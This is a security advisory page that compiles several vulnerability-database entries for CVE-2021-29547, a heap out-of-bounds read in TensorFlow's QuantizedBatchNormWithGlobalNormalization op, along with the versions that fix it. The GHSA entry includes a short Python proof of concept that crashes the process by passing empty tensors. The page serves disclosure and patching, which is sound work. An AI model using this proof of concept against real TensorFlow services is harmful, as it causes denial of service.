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BIT-tensorflow-2021-29547 — Heap out of bounds in `QuantizedBatchNormWithGlobalNormalization`

Affected: Bitnami: tensorflow

TensorFlow is an end-to-end open source platform for machine learning. An attacker can cause a segfault and denial of service via accessing data outside of bounds in `tf.raw_ops.QuantizedBatchNormWithGlobalNormalization`. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/55a97caa9e99c7f37a0bbbeb414dc55553d3ae7f/tensorflow/core/kernels/quantized_batch_norm_op.cc#L176-L189) assumes the inputs are not empty. If any of these inputs is empty, `.flat<T>()` is an empty buffer, so accessing the element at index 0 is accessing data outside of bounds. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

cnvd-2021-37623

EUVD-2026-26396

fkie_cve-2021-29547

GHSA-4fg4-p75j-w5xj — Heap out of bounds in `QuantizedBatchNormWithGlobalNormalization`

Affected: PyPI: tensorflow, PyPI: tensorflow-cpu, PyPI: tensorflow-gpu

### Impact An attacker can cause a segfault and denial of service via accessing data outside of bounds in `tf.raw_ops.QuantizedBatchNormWithGlobalNormalization`:

```python import tensorflow as tf

t = tf.constant([1], shape=[1, 1, 1, 1], dtype=tf.quint8) t_min = tf.constant([], shape=[0], dtype=tf.float32) t_max = tf.constant([], shape=[0], dtype=tf.float32) m = tf.constant([1], shape=[1], dtype=tf.quint8) m_min = tf.constant([], shape=[0], dtype=tf.float32) m_max = tf.constant([], shape=[0], dtype=tf.float32) v = tf.constant([1], shape=[1], dtype=tf.quint8) v_min = tf.constant([], shape=[0], dtype=tf.float32) v_max = tf.constant([], shape=[0], dtype=tf.float32) beta = tf.constant([1], shape=[1], dtype=tf.quint8) beta_min = tf.constant([], shape=[0], dtype=tf.float32) beta_max = tf.constant([], shape=[0], dtype=tf.float32) gamma = tf.constant([1], shape=[1], dtype=tf.quint8) gamma_min = tf.constant([], shape=[0], dtype=tf.float32) gamma_max = tf.constant([], shape=[0], dtype=tf.float32)

tf.raw_ops.QuantizedBatchNormWithGlobalNormalization( t=t, t_min=t_min, t_max=t_max, m=m, m_min=m_min, m_max=m_max, v=v, v_min=v_min, v_max=v_max, beta=beta, beta_min=beta_min, beta_max=beta_max, gamma=gamma, gamma_min=gamma_min, gamma_max=gamma_max, out_type=tf.qint32, variance_epsilon=0.1, scale_after_normalization=True) ``` This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/55a97caa9e99c7f37a…

gsd-2021-29547

PYSEC-2021-184

Affected: PyPI: tensorflow